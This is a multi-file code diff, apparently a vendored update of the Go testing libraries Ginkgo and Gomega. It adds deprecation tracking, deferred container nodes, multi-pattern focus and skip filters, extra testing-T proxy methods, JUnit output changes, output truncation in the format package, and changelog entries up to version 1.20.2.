 func JustAfterEach(body interface{}, timeout ...float64) bool {
-	globalSuite.PushJustAfterEachNode(body, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushJustAfterEachNode(body, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

@@ -611,13 +648,33 @@ func JustAfterEach(body interface{}, timeout ...float64) bool {
 //Like It blocks, AfterEach blocks can be made asynchronous by providing a body function that accepts
 //a Done channel
 func AfterEach(body interface{}, timeout ...float64) bool {
-	globalSuite.PushAfterEachNode(body, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushAfterEachNode(body, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

+func validateBodyFunc(body interface{}, cl types.CodeLocation) {
+	t := reflect.TypeOf(body)
+	if t.Kind() != reflect.Func {
+		return
+	}
+
+	if t.NumOut() > 0 {
+		return
+	}
+
+	if t.NumIn() == 0 {
+		return
+	}
+
+	if t.In(0) == reflect.TypeOf(make(Done)) {
+		deprecationTracker.TrackDeprecation(types.Deprecations.Async(), cl)
+	}
+}
+
 func parseTimeout(timeout ...float64) time.Duration {
 	if len(timeout) == 0 {
-		return time.Duration(defaultTimeout * int64(time.Second))
+		return global.DefaultTimeout
 	} else {
 		return time.Duration(timeout[0] * float64(time.Second))
 	}
@@ -0,0 +1,22 @@
+package global
+
+import (
+	"time"
+
+	"github.com/onsi/ginkgo/internal/failer"
+	"github.com/onsi/ginkgo/internal/suite"
+)
+
+const DefaultTimeout = time.Duration(1 * time.Second)
+
+var Suite *suite.Suite
+var Failer *failer.Failer
+
+func init() {
+	InitializeGlobals()
+}
+
+func InitializeGlobals() {
+	Failer = failer.New()
+	Suite = suite.New(Failer)
+}
@@ -4,6 +4,7 @@ import (
 	"math/rand"
 	"regexp"
 	"sort"
+	"strings"
 )

 type Specs struct {
@@ -46,11 +47,11 @@ func (e *Specs) Shuffle(r *rand.Rand) {
 	e.names = names
 }

-func (e *Specs) ApplyFocus(description string, focusString string, skipString string) {
-	if focusString == "" && skipString == "" {
+func (e *Specs) ApplyFocus(description string, focus, skip []string) {
+	if len(focus)+len(skip) == 0 {
 		e.applyProgrammaticFocus()
 	} else {
-		e.applyRegExpFocusAndSkip(description, focusString, skipString)
+		e.applyRegExpFocusAndSkip(description, focus, skip)
 	}
 }

@@ -90,14 +91,13 @@ func (e *Specs) toMatch(description string, i int) []byte {
 	}
 }

-func (e *Specs) applyRegExpFocusAndSkip(description string, focusString string, skipString string) {
-	var focusFilter *regexp.Regexp
-	if focusString != "" {
-		focusFilter = regexp.MustCompile(focusString)
+func (e *Specs) applyRegExpFocusAndSkip(description string, focus, skip []string) {
+	var focusFilter, skipFilter *regexp.Regexp
+	if len(focus) > 0 {
+		focusFilter = regexp.MustCompile(strings.Join(focus, "|"))
 	}
-	var skipFilter *regexp.Regexp
-	if skipString != "" {
-		skipFilter = regexp.MustCompile(skipString)
+	if len(skip) > 0 {
+		skipFilter = regexp.MustCompile(strings.Join(skip, "|"))
 	}

 	for i, spec := range e.specs {
@@ -22,25 +22,37 @@ type ginkgoTestingT interface {
 	Fail()
 }

+type deferredContainerNode struct {
+	text         string
+	body         func()
+	flag         types.FlagType
+	codeLocation types.CodeLocation
+}
+
 type Suite struct {
 	topLevelContainer *containernode.ContainerNode
 	currentContainer  *containernode.ContainerNode
-	containerIndex    int
-	beforeSuiteNode   leafnodes.SuiteNode
-	afterSuiteNode    leafnodes.SuiteNode
-	runner            *specrunner.SpecRunner
-	failer            *failer.Failer
-	running           bool
+
+	deferredContainerNodes []deferredContainerNode
+
+	containerIndex      int
+	beforeSuiteNode     leafnodes.SuiteNode
+	afterSuiteNode      leafnodes.SuiteNode
+	runner              *specrunner.SpecRunner
+	failer              *failer.Failer
+	running             bool
+	expandTopLevelNodes bool
 }

 func New(failer *failer.Failer) *Suite {
 	topLevelContainer := containernode.New("[Top Level]", types.FlagTypeNone, types.CodeLocation{})

 	return &Suite{
-		topLevelContainer: topLevelContainer,
-		currentContainer:  topLevelContainer,
-		failer:            failer,
-		containerIndex:    1,
+		topLevelContainer:      topLevelContainer,
+		currentContainer:       topLevelContainer,
+		failer:                 failer,
+		containerIndex:         1,
+		deferredContainerNodes: []deferredContainerNode{},
 	}
 }

@@ -53,6 +65,11 @@ func (suite *Suite) Run(t ginkgoTestingT, description string, reporters []report
 		panic("ginkgo.parallel.node is one-indexed and must be <= ginkgo.parallel.total")
 	}

+	suite.expandTopLevelNodes = true
+	for _, deferredNode := range suite.deferredContainerNodes {
+		suite.PushContainerNode(deferredNode.text, deferredNode.body, deferredNode.flag, deferredNode.codeLocation)
+	}
+
 	r := rand.New(rand.NewSource(config.RandomSeed))
 	suite.topLevelContainer.Shuffle(r)
 	iterator, hasProgrammaticFocus := suite.generateSpecsIterator(description, config)
@@ -80,7 +97,7 @@ func (suite *Suite) generateSpecsIterator(description string, config config.Gink
 		specs.Shuffle(rand.New(rand.NewSource(config.RandomSeed)))
 	}

-	specs.ApplyFocus(description, config.FocusString, config.SkipString)
+	specs.ApplyFocus(description, config.FocusStrings, config.SkipStrings)

 	if config.SkipMeasurements {
 		specs.SkipMeasurements()
@@ -137,6 +154,23 @@ func (suite *Suite) SetSynchronizedAfterSuiteNode(bodyA interface{}, bodyB inter
 }

 func (suite *Suite) PushContainerNode(text string, body func(), flag types.FlagType, codeLocation types.CodeLocation) {
+	/*
+		We defer walking the container nodes (which immediately evaluates the `body` function)
+		until `RunSpecs` is called.  We do this by storing off the deferred container nodes.  Then, when
+		`RunSpecs` is called we actually go through and add the container nodes to the test structure.
+
+		This allows us to defer calling all the `body` functions until _after_ the top level functions
+		have been walked, _after_ func init()s have been called, and _after_ `go test` has called `flag.Parse()`.
+
+		This allows users to load up configuration information in the `TestX` go test hook just before `RunSpecs`
+		is invoked and solves issues like #693 and makes the lifecycle easier to reason about.
+
+	*/
+	if !suite.expandTopLevelNodes {
+		suite.deferredContainerNodes = append(suite.deferredContainerNodes, deferredContainerNode{text, body, flag, codeLocation})
+		return
+	}
+
 	container := containernode.New(text, flag, codeLocation)
 	suite.currentContainer.PushContainerNode(container)

@@ -6,21 +6,39 @@ import (
 )

 type failFunc func(message string, callerSkip ...int)
+type skipFunc func(message string, callerSkip ...int)
+type failedFunc func() bool
+type nameFunc func() string

-func New(writer io.Writer, fail failFunc, offset int) *ginkgoTestingTProxy {
+func New(writer io.Writer, fail failFunc, skip skipFunc, failed failedFunc, name nameFunc, offset int) *ginkgoTestingTProxy {
 	return &ginkgoTestingTProxy{
 		fail:   fail,
 		offset: offset,
 		writer: writer,
+		skip:   skip,
+		failed: failed,
+		name:   name,
 	}
 }

 type ginkgoTestingTProxy struct {
 	fail   failFunc
+	skip   skipFunc
+	failed failedFunc
+	name   nameFunc
 	offset int
 	writer io.Writer
 }

+func (t *ginkgoTestingTProxy) Cleanup(func()) {
+	// No-op
+}
+
+func (t *ginkgoTestingTProxy) Setenv(kev, value string) {
+	fmt.Println("Setenv is a noop for Ginkgo at the moment but will be implemented in V2")
+	// No-op until Cleanup is implemented
+}
+
 func (t *ginkgoTestingTProxy) Error(args ...interface{}) {
 	t.fail(fmt.Sprintln(args...), t.offset)
 }
@@ -37,6 +55,10 @@ func (t *ginkgoTestingTProxy) FailNow() {
 	t.fail("failed", t.offset)
 }

+func (t *ginkgoTestingTProxy) Failed() bool {
+	return t.failed()
+}
+
 func (t *ginkgoTestingTProxy) Fatal(args ...interface{}) {
 	t.fail(fmt.Sprintln(args...), t.offset)
 }
@@ -45,6 +67,10 @@ func (t *ginkgoTestingTProxy) Fatalf(format string, args ...interface{}) {
 	t.fail(fmt.Sprintf(format, args...), t.offset)
 }

+func (t *ginkgoTestingTProxy) Helper() {
+	// No-op
+}
+
 func (t *ginkgoTestingTProxy) Log(args ...interface{}) {
 	fmt.Fprintln(t.writer, args...)
 }
@@ -53,24 +79,31 @@ func (t *ginkgoTestingTProxy) Logf(format string, args ...interface{}) {
 	t.Log(fmt.Sprintf(format, args...))
 }

-func (t *ginkgoTestingTProxy) Failed() bool {
-	return false
+func (t *ginkgoTestingTProxy) Name() string {
+	return t.name()
 }

 func (t *ginkgoTestingTProxy) Parallel() {
+	// No-op
 }

 func (t *ginkgoTestingTProxy) Skip(args ...interface{}) {
-	fmt.Println(args...)
-}
-
-func (t *ginkgoTestingTProxy) Skipf(format string, args ...interface{}) {
-	t.Skip(fmt.Sprintf(format, args...))
+	t.skip(fmt.Sprintln(args...), t.offset)
 }

 func (t *ginkgoTestingTProxy) SkipNow() {
+	t.skip("skip", t.offset)
+}
+
+func (t *ginkgoTestingTProxy) Skipf(format string, args ...interface{}) {
+	t.skip(fmt.Sprintf(format, args...), t.offset)
 }

 func (t *ginkgoTestingTProxy) Skipped() bool {
 	return false
 }
+
+func (t *ginkgoTestingTProxy) TempDir() string {
+	// No-op
+	return ""
+}
@@ -33,24 +33,19 @@ type JUnitTestSuite struct {
 type JUnitTestCase struct {
 	Name           string               `xml:"name,attr"`
 	ClassName      string               `xml:"classname,attr"`
-	PassedMessage  *JUnitPassedMessage  `xml:"passed,omitempty"`
 	FailureMessage *JUnitFailureMessage `xml:"failure,omitempty"`
 	Skipped        *JUnitSkipped        `xml:"skipped,omitempty"`
 	Time           float64              `xml:"time,attr"`
 	SystemOut      string               `xml:"system-out,omitempty"`
 }

-type JUnitPassedMessage struct {
-	Message string `xml:",chardata"`
-}
-
 type JUnitFailureMessage struct {
 	Type    string `xml:"type,attr"`
 	Message string `xml:",chardata"`
 }

 type JUnitSkipped struct {
-	XMLName xml.Name `xml:"skipped"`
+	Message string `xml:",chardata"`
 }

 type JUnitReporter struct {
@@ -114,9 +109,7 @@ func (reporter *JUnitReporter) SpecDidComplete(specSummary *types.SpecSummary) {
 		ClassName: reporter.testSuiteName,
 	}
 	if reporter.ReporterConfig.ReportPassed && specSummary.State == types.SpecStatePassed {
-		testCase.PassedMessage = &JUnitPassedMessage{
-			Message: specSummary.CapturedOutput,
-		}
+		testCase.SystemOut = specSummary.CapturedOutput
 	}
 	if specSummary.State == types.SpecStateFailed || specSummary.State == types.SpecStateTimedOut || specSummary.State == types.SpecStatePanicked {
 		testCase.FailureMessage = &JUnitFailureMessage{
@@ -132,6 +125,9 @@ func (reporter *JUnitReporter) SpecDidComplete(specSummary *types.SpecSummary) {
 	}
 	if specSummary.State == types.SpecStateSkipped || specSummary.State == types.SpecStatePending {
 		testCase.Skipped = &JUnitSkipped{}
+		if specSummary.Failure.Message != "" {
+			testCase.Skipped.Message = failureMessage(specSummary.Failure)
+		}
 	}
 	testCase.Time = specSummary.RunTime.Seconds()
 	reporter.suite.TestCases = append(reporter.suite.TestCases, testCase)
@@ -0,0 +1,160 @@
+package types
+
+import (
+	"os"
+	"strconv"
+	"strings"
+	"unicode"
+
+	"github.com/onsi/ginkgo/config"
+	"github.com/onsi/ginkgo/formatter"
+)
+
+type Deprecation struct {
+	Message string
+	DocLink string
+	Version string
+}
+
+type deprecations struct{}
+
+var Deprecations = deprecations{}
+
+func (d deprecations) CustomReporter() Deprecation {
+	return Deprecation{
+		Message: "You are using a custom reporter.  Support for custom reporters will likely be removed in V2.  Most users were using them to generate junit or teamcity reports and this functionality will be merged into the core reporter.  In addition, Ginkgo 2.0 will support emitting a JSON-formatted report that users can then manipulate to generate custom reports.\n\n{{red}}{{bold}}If this change will be impactful to you please leave a comment on {{cyan}}{{underline}}https://github.com/onsi/ginkgo/issues/711{{/}}",
+		DocLink: "removed-custom-reporters",
+		Version: "1.16.0",
+	}
+}
+
+func (d deprecations) V1Reporter() Deprecation {
+	return Deprecation{
+		Message: "You are using a V1 Ginkgo Reporter.  Please update your custom reporter to the new V2 Reporter interface.",
+		DocLink: "changed-reporter-interface",
+		Version: "1.16.0",
+	}
+}
+
+func (d deprecations) Async() Deprecation {
+	return Deprecation{
+		Message: "You are passing a Done channel to a test node to test asynchronous behavior.  This is deprecated in Ginkgo V2.  Your test will run synchronously and the timeout will be ignored.",
+		DocLink: "removed-async-testing",
+		Version: "1.16.0",
+	}
+}
+
+func (d deprecations) Measure() Deprecation {
+	return Deprecation{
+		Message: "Measure is deprecated and will be removed in Ginkgo V2.  Please migrate to gomega/gmeasure.",
+		DocLink: "removed-measure",
+		Version: "1.16.3",
+	}
+}
+
+func (d deprecations) ParallelNode() Deprecation {
+	return Deprecation{
+		Message: "GinkgoParallelNode is deprecated and will be removed in Ginkgo V2.  Please use GinkgoParallelProcess instead.",
+		DocLink: "renamed-ginkgoparallelnode",
+		Version: "1.16.5",
+	}
+}
+
+func (d deprecations) Convert() Deprecation {
+	return Deprecation{
+		Message: "The convert command is deprecated in Ginkgo V2",
+		DocLink: "removed-ginkgo-convert",
+		Version: "1.16.0",
+	}
+}
+
+func (d deprecations) Blur() Deprecation {
+	return Deprecation{
+		Message: "The blur command is deprecated in Ginkgo V2.  Use 'ginkgo unfocus' instead.",
+		Version: "1.16.0",
+	}
+}
+
+type DeprecationTracker struct {
+	deprecations map[Deprecation][]CodeLocation
+}
+
+func NewDeprecationTracker() *DeprecationTracker {
+	return &DeprecationTracker{
+		deprecations: map[Deprecation][]CodeLocation{},
+	}
+}
+
+func (d *DeprecationTracker) TrackDeprecation(deprecation Deprecation, cl ...CodeLocation) {
+	ackVersion := os.Getenv("ACK_GINKGO_DEPRECATIONS")
+	if deprecation.Version != "" && ackVersion != "" {
+		ack := ParseSemVer(ackVersion)
+		version := ParseSemVer(deprecation.Version)
+		if ack.GreaterThanOrEqualTo(version) {
+			return
+		}
+	}
+
+	if len(cl) == 1 {
+		d.deprecations[deprecation] = append(d.deprecations[deprecation], cl[0])
+	} else {
+		d.deprecations[deprecation] = []CodeLocation{}
+	}
+}
+
+func (d *DeprecationTracker) DidTrackDeprecations() bool {
+	return len(d.deprecations) > 0
+}
+
+func (d *DeprecationTracker) DeprecationsReport() string {
+	out := formatter.F("\n{{light-yellow}}You're using deprecated Ginkgo functionality:{{/}}\n")
+	out += formatter.F("{{light-yellow}}============================================={{/}}\n")
+	out += formatter.F("{{bold}}{{green}}Ginkgo 2.0{{/}} is under active development and will introduce several new features, improvements, and a small handful of breaking changes.\n")
+	out += formatter.F("A release candidate for 2.0 is now available and 2.0 should GA in Fall 2021.  {{bold}}Please give the RC a try and send us feedback!{{/}}\n")
+	out += formatter.F("  - To learn more, view the migration guide at {{cyan}}{{underline}}https://github.com/onsi/ginkgo/blob/ver2/docs/MIGRATING_TO_V2.md{{/}}\n")
+	out += formatter.F("  - For instructions on using the Release Candidate visit {{cyan}}{{underline}}https://github.com/onsi/ginkgo/blob/ver2/docs/MIGRATING_TO_V2.md#using-the-beta{{/}}\n")
+	out += formatter.F("  - To comment, chime in at {{cyan}}{{underline}}https://github.com/onsi/ginkgo/issues/711{{/}}\n\n")
+
+	for deprecation, locations := range d.deprecations {
+		out += formatter.Fi(1, "{{yellow}}"+deprecation.Message+"{{/}}\n")
+		if deprecation.DocLink != "" {
+			out += formatter.Fi(1, "{{bold}}Learn more at:{{/}} {{cyan}}{{underline}}https://github.com/onsi/ginkgo/blob/ver2/docs/MIGRATING_TO_V2.md#%s{{/}}\n", deprecation.DocLink)
+		}
+		for _, location := range locations {
+			out += formatter.Fi(2, "{{gray}}%s{{/}}\n", location)
+		}
+	}
+	out += formatter.F("\n{{gray}}To silence deprecations that can be silenced set the following environment variable:{{/}}\n")
+	out += formatter.Fi(1, "{{gray}}ACK_GINKGO_DEPRECATIONS=%s{{/}}\n", config.VERSION)
+	return out
+}
+
+type SemVer struct {
+	Major int
+	Minor int
+	Patch int
+}
+
+func (s SemVer) GreaterThanOrEqualTo(o SemVer) bool {
+	return (s.Major > o.Major) ||
+		(s.Major == o.Major && s.Minor > o.Minor) ||
+		(s.Major == o.Major && s.Minor == o.Minor && s.Patch >= o.Patch)
+}
+
+func ParseSemVer(semver string) SemVer {
+	out := SemVer{}
+	semver = strings.TrimFunc(semver, func(r rune) bool {
+		return !(unicode.IsNumber(r) || r == '.')
+	})
+	components := strings.Split(semver, ".")
+	if len(components) > 0 {
+		out.Major, _ = strconv.Atoi(components[0])
+	}
+	if len(components) > 1 {
+		out.Minor, _ = strconv.Atoi(components[1])
+	}
+	if len(components) > 2 {
+		out.Patch, _ = strconv.Atoi(components[2])
+	}
+	return out
+}
@@ -1,17 +0,0 @@
-language: go
-
-go:
-  - 1.13.x
-  - 1.14.x
-  - gotip
-
-env:
-  - GO111MODULE=on
-
-install:
-  - go get -v ./...
-  - go build ./...
-  - go get github.com/onsi/ginkgo
-  - go install github.com/onsi/ginkgo/ginkgo
-
-script: make test
@@ -1,3 +1,195 @@
+## 1.20.2
+
+## Fixes
+- label specs that rely on remote access; bump timeout on short-circuit test to make it less flaky [35eeadf]
+- gexec: allow more headroom for SIGABRT-related unit tests (#581) [5b78f40]
+- Enable reading from a closed gbytes.Buffer (#575) [061fd26]
+
+## Maintenance
+- Bump github.com/onsi/ginkgo/v2 from 2.1.5 to 2.1.6 (#583) [55d895b]
+- Bump github.com/onsi/ginkgo/v2 from 2.1.4 to 2.1.5 (#582) [346de7c]
+
+## 1.20.1
+
+## Fixes
+- fix false positive gleaks when using ginkgo -p (#577) [cb46517]
+- Fix typos in gomega_dsl.go (#569) [5f71ed2]
+- don't panic on Eventually(nil), fixing #555 (#567) [9d1186f]
+- vet optional description args in assertions, fixing #560 (#566) [8e37808]
+
+## Maintenance
+- test: add new Go 1.19 to test matrix (#571) [40d7efe]
+- Bump tzinfo from 1.2.9 to 1.2.10 in /docs (#564) [5f26371]
+
+## 1.20.0
+
+## Features
+- New [`gleak`](https://onsi.github.io/gomega/#codegleakcode-finding-leaked-goroutines) experimental goroutine leak detection package! (#538) [85ba7bc]
+- New `BeComparableTo` matcher(#546) that uses `gocmp` to make comparisons [e77ea75]
+- New `HaveExistingField` matcher (#553) [fd130e1]
+- Document how to wrap Gomega (#539) [56714a4]
+
+## Fixes
+- Support pointer receivers in HaveField; fixes #543 (#544) [8dab36e]
+
+## Maintenance
+- Bump various dependencies:
+    - Upgrade to yaml.v3 (#556) [f5a83b1]
+    - Bump github/codeql-action from 1 to 2 (#549) [52f5adf]
+    - Bump github.com/google/go-cmp from 0.5.7 to 0.5.8 (#551) [5f3942d]
+    - Bump nokogiri from 1.13.4 to 1.13.6 in /docs (#554) [eb4b4c2]
+    - Use latest ginkgo (#535) [1c29028]
+    - Bump nokogiri from 1.13.3 to 1.13.4 in /docs (#541) [1ce84d5]
+    - Bump actions/setup-go from 2 to 3 (#540) [755485e]
+    - Bump nokogiri from 1.12.5 to 1.13.3 in /docs (#522) [4fbb0dc]
+    - Bump actions/checkout from 2 to 3 (#526) [ac49202]
+
+## 1.19.0
+
+## Features
+- New [`HaveEach`](https://onsi.github.io/gomega/#haveeachelement-interface) matcher to ensure that each and every element in an `array`, `slice`, or `map` satisfies the passed in matcher. (#523) [9fc2ae2] (#524) [c8ba582]
+- Users can now wrap the `Gomega` interface to implement custom behavior on each assertion. (#521) [1f2e714]
+- [`ContainElement`](https://onsi.github.io/gomega/#containelementelement-interface) now accepts an additional pointer argument.  Elements that satisfy the matcher are stored in the pointer enabling developers to easily add subsequent, more detailed, assertions against the matching element. (#527) [1a4e27f]
+
+## Fixes
+- update RELEASING instructions to match ginkgo [0917cde]
+- Bump github.com/onsi/ginkgo/v2 from 2.0.0 to 2.1.3 (#519) [49ab4b0]
+- Fix CVE-2021-38561 (#534) [f1b4456]
+- Fix max number of samples in experiments on non-64-bit systems. (#528) [1c84497]
+- Remove dependency on ginkgo v1.16.4 (#530) [4dea8d5]
+- Fix for Go 1.18 (#532) [56d2a29]
+- Document precendence of timeouts (#533) [b607941]
+
+## 1.18.1
+
+## Fixes
+- Add pointer support to HaveField matcher (#495) [79e41a3]
+
+## 1.18.0
+
+## Features
+- Docs now live on the master branch in the docs folder which will make for easier PRs.  The docs also use Ginkgo 2.0's new docs html/css/js. [2570272]
+- New HaveValue matcher can handle actuals that are either values (in which case they are passed on unscathed) or pointers (in which case they are indirected).  [Docs here.](https://onsi.github.io/gomega/#working-with-values) (#485) [bdc087c]
+- Gmeasure has been declared GA [360db9d]
+
+## Fixes
+- Gomega now uses ioutil for Go 1.15 and lower (#492) - official support is only for the most recent two major versions of Go but this will unblock users who need to stay on older unsupported versions of Go. [c29c1c0]
+
+## Maintenace
+- Remove Travis workflow (#491) [72e6040]
+- Upgrade to Ginkgo 2.0.0 GA [f383637]
+- chore: fix description of HaveField matcher (#487) [2b4b2c0]
+- use tools.go to ensure Ginkgo cli dependencies are included [f58a52b]
+- remove dockerfile and simplify github actions to match ginkgo's actions [3f8160d]
+
+## 1.17.0
+
+### Features
+- Add HaveField matcher [3a26311]
+- add Error() assertions on the final error value of multi-return values (#480) [2f96943]
+- separate out offsets and timeouts (#478) [18a4723]
+- fix transformation error reporting (#479) [e001fab]
+- allow transform functions to report errors (#472) [bf93408]
+
+### Fixes
+Stop using deprecated ioutil package (#467) [07f405d]
+
+## 1.16.0
+
+### Features
+- feat: HaveHTTPStatus multiple expected values (#465) [aa69f1b]
+- feat: HaveHTTPHeaderWithValue() matcher (#463) [dd83a96]
+- feat: HaveHTTPBody matcher (#462) [504e1f2]
+- feat: formatter for HTTP responses (#461) [e5b3157]
+
+## 1.15.0
+
+### Fixes
+The previous version (1.14.0) introduced a change to allow `Eventually` and `Consistently` to support functions that make assertions.  This was accomplished by overriding the global fail handler when running the callbacks passed to `Eventually/Consistently` in order to capture any resulting errors.  Issue #457 uncovered a flaw with this approach: when multiple `Eventually`s are running concurrently they race when overriding the singleton global fail handler.
+
+1.15.0 resolves this by requiring users who want to make assertions in `Eventually/Consistently` call backs to explicitly pass in a function that takes a `Gomega` as an argument.  The passed-in `Gomega` instance can be used to make assertions.  Any failures will cause `Eventually` to retry the callback.  This cleaner interface avoids the issue of swapping out globals but comes at the cost of changing the contract introduced in v1.14.0.  As such 1.15.0 introduces a breaking change with respect to 1.14.0 - however we expect that adoption of this feature in 1.14.0 remains limited.
+
+In addition, 1.15.0 cleans up some of Gomega's internals.  Most users shouldn't notice any differences stemming from the refactoring that was made.
+
+## 1.14.0
+
+### Features
+- gmeasure.SamplingConfig now suppers a MinSamplingInterval [e94dbca]
+- Eventually and Consistently support functions that make assertions [2f04e6e]
+    - Eventually and Consistently now allow their passed-in functions to make assertions.
+    These assertions must pass or the function is considered to have failed and is retried.
+    - Eventually and Consistently can now take functions with no return values.  These implicitly return nil
+    if they contain no failed assertion.  Otherwise they return an error wrapping the first assertion failure.  This allows
+    these functions to be used with the Succeed() matcher.
+    - Introduce InterceptGomegaFailure - an analogue to InterceptGomegaFailures - that captures the first assertion failure
+    and halts execution in its passed-in callback.
+
+### Fixes
+- Call Verify GHTTPWithGomega receiver funcs (#454) [496e6fd]
+- Build a binary with an expected name (#446) [7356360]
+
+## 1.13.0
+
+### Features
+- gmeasure provides BETA support for benchmarking (#447) [8f2dfbf]
+- Set consistently and eventually defaults on init (#443) [12eb778]
+
+## 1.12.0
+
+### Features
+- Add Satisfy() matcher (#437) [c548f31]
+- tweak truncation message [3360b8c]
+- Add format.GomegaStringer (#427) [cc80b6f]
+- Add Clear() method to gbytes.Buffer [c3c0920]
+
+### Fixes
+- Fix error message in BeNumericallyMatcher (#432) [09c074a]
+- Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.2 (#442) [e5f6ea0]
+- Bump github.com/golang/protobuf from 1.4.3 to 1.5.2 (#431) [adae3bf]
+- Bump golang.org/x/net (#441) [3275b35]
+
+## 1.11.0
+
+### Features
+- feature: add index to gstruct element func (#419) [334e00d]
+- feat(gexec) Add CompileTest functions. Close #410 (#411) [47c613f]
+
+### Fixes
+- Check more carefully for nils in WithTransform (#423) [3c60a15]
+- fix: typo in Makefile [b82522a]
+- Allow WithTransform function to accept a nil value (#422) [b75d2f2]
+- fix: print value type for interface{} containers (#409) [f08e2dc]
+- fix(BeElementOf): consistently flatten expected values [1fa9468]
+
+## 1.10.5
+
+### Fixes
+- fix: collections matchers should display type of expectation (#408) [6b4eb5a]
+- fix(ContainElements): consistently flatten expected values [073b880]
+- fix(ConsistOf): consistently flatten expected values [7266efe]
+
+## 1.10.4
+
+### Fixes
+- update golang net library to more recent version without vulnerability (#406) [817a8b9]
+- Correct spelling: alloted -> allotted (#403) [0bae715]
+- fix a panic in MessageWithDiff with long message (#402) [ea06b9b]
+
+## 1.10.3
+
+### Fixes
+- updates golang/x/net to fix vulnerability detected by snyk (#394) [c479356]
+
+## 1.10.2
+
+### Fixes
+- Add ExpectWithOffset, EventuallyWithOffset and ConsistentlyWithOffset to WithT (#391) [990941a]
+
+## 1.10.1
+
+### Fixes
+- Update dependencies (#389) [9f5eecd]
+
 ## 1.10.0

 ### Features
@@ -1,6 +0,0 @@
-test:
-	[ -z "`gofmt -s -w -l -e .`" ]
-	go vet
-	ginkgo -p -r --randomizeAllSpecs --failOnPending --randomizeSuites --race
-
-.PHONY: test
@@ -1,6 +1,6 @@
 ![Gomega: Ginkgo's Preferred Matcher Library](http://onsi.github.io/gomega/images/gomega.png)

-[![Build Status](https://travis-ci.org/onsi/gomega.svg?branch=master)](https://travis-ci.org/onsi/gomega)
+[![test](https://github.com/onsi/gomega/actions/workflows/test.yml/badge.svg)](https://github.com/onsi/gomega/actions/workflows/test.yml)

 Jump straight to the [docs](http://onsi.github.io/gomega/) to learn about Gomega, including a list of [all available matchers](http://onsi.github.io/gomega/#provided-matchers).

@@ -7,6 +7,11 @@ A Gomega release is a tagged sha and a GitHub release.  To cut a release:
    - New Features (minor version)
    - Fixes (fix version)
    - Maintenance (which in general should not be mentioned in `CHANGELOG.md` as they have no user impact)
-2. Update GOMEGA_VERSION in `gomega_dsl.go`
-3. Push a commit with the version number as the commit message (e.g. `v1.3.0`)
-4. Create a new [GitHub release](https://help.github.com/articles/creating-releases/) with the version number as the tag  (e.g. `v1.3.0`).  List the key changes in the release notes.
+1. Update GOMEGA_VERSION in `gomega_dsl.go`
+1. Commit, push, and release:
+  ```
+  git commit -m "vM.m.p"
+  git push
+  gh release create "vM.m.p"
+  git fetch --tags origin master
+  ```
@@ -7,6 +7,7 @@ Gomega's format package pretty-prints objects.  It explores input objects recurs
 package format

 import (
+	"context"
 	"fmt"
 	"reflect"
 	"strconv"
@@ -17,6 +18,10 @@ import (
 // Use MaxDepth to set the maximum recursion depth when printing deeply nested objects
 var MaxDepth = uint(10)

+// MaxLength of the string representation of an object.
+// If MaxLength is set to 0, the Object will not be truncated.
+var MaxLength = 4000
+
 /*
 By default, all objects (even those that implement fmt.Stringer and fmt.GoStringer) are recursively inspected to generate output.

@@ -44,16 +49,7 @@ var TruncateThreshold uint = 50
 // after the first diff location in a truncated string assertion error message.
 var CharactersAroundMismatchToInclude uint = 5

-// Ctx interface defined here to keep backwards compatibility with go < 1.7
-// It matches the context.Context interface
-type Ctx interface {
-	Deadline() (deadline time.Time, ok bool)
-	Done() <-chan struct{}
-	Err() error
-	Value(key interface{}) interface{}
-}
-
-var contextType = reflect.TypeOf((*Ctx)(nil)).Elem()
+var contextType = reflect.TypeOf((*context.Context)(nil)).Elem()
 var timeType = reflect.TypeOf(time.Time{})

 //The default indentation string emitted by the format package
@@ -61,6 +57,14 @@ var Indent = "    "

 var longFormThreshold = 20

+// GomegaStringer allows for custom formating of objects for gomega.
+type GomegaStringer interface {
+	// GomegaString will be used to custom format an object.
+	// It does not follow UseStringerRepresentation value and will always be called regardless.
+	// It also ignores the MaxLength value.
+	GomegaString() string
+}
+
 /*
 Generates a formatted matcher success/failure message of the form:

@@ -105,7 +109,13 @@ func MessageWithDiff(actual, message, expected string) string {

 		tabLength := 4
 		spaceFromMessageToActual := tabLength + len("<string>: ") - len(message)
-		padding := strings.Repeat(" ", spaceFromMessageToActual+spacesBeforeFormattedMismatch) + "|"
+
+		paddingCount := spaceFromMessageToActual + spacesBeforeFormattedMismatch
+		if paddingCount < 0 {
+			return Message(formattedActual, message, formattedExpected)
+		}
+
+		padding := strings.Repeat(" ", paddingCount) + "|"
 		return Message(formattedActual, message+padding, formattedExpected)
 	}

@@ -161,6 +171,33 @@ func findFirstMismatch(a, b string) int {
 	return 0
 }

+const truncateHelpText = `
+Gomega truncated this representation as it exceeds 'format.MaxLength'.
+Consider having the object provide a custom 'GomegaStringer' representation
+or adjust the parameters in Gomega's 'format' package.
+
+Learn more here: https://onsi.github.io/gomega/#adjusting-output
+`
+
+func truncateLongStrings(s string) string {
+	if MaxLength > 0 && len(s) > MaxLength {
+		var sb strings.Builder
+		for i, r := range s {
+			if i < MaxLength {
+				sb.WriteRune(r)
+				continue
+			}
+			break
+		}
+
+		sb.WriteString("...\n")
+		sb.WriteString(truncateHelpText)
+
+		return sb.String()
+	}
+	return s
+}
+
 /*
 Pretty prints the passed in object at the passed in indentation level.

@@ -175,7 +212,7 @@ Set PrintContextObjects to true to print the content of objects implementing con
 func Object(object interface{}, indentation uint) string {
 	indent := strings.Repeat(Indent, int(indentation))
 	value := reflect.ValueOf(object)
-	return fmt.Sprintf("%s<%s>: %s", indent, formatType(object), formatValue(value, indentation))
+	return fmt.Sprintf("%s<%s>: %s", indent, formatType(value), formatValue(value, indentation))
 }

 /*
@@ -195,25 +232,20 @@ func IndentString(s string, indentation uint) string {
 	return result
 }

-func formatType(object interface{}) string {
-	t := reflect.TypeOf(object)
-	if t == nil {
+func formatType(v reflect.Value) string {
+	switch v.Kind() {
+	case reflect.Invalid:
 		return "nil"
-	}
-	switch t.Kind() {
 	case reflect.Chan:
-		v := reflect.ValueOf(object)
-		return fmt.Sprintf("%T | len:%d, cap:%d", object, v.Len(), v.Cap())
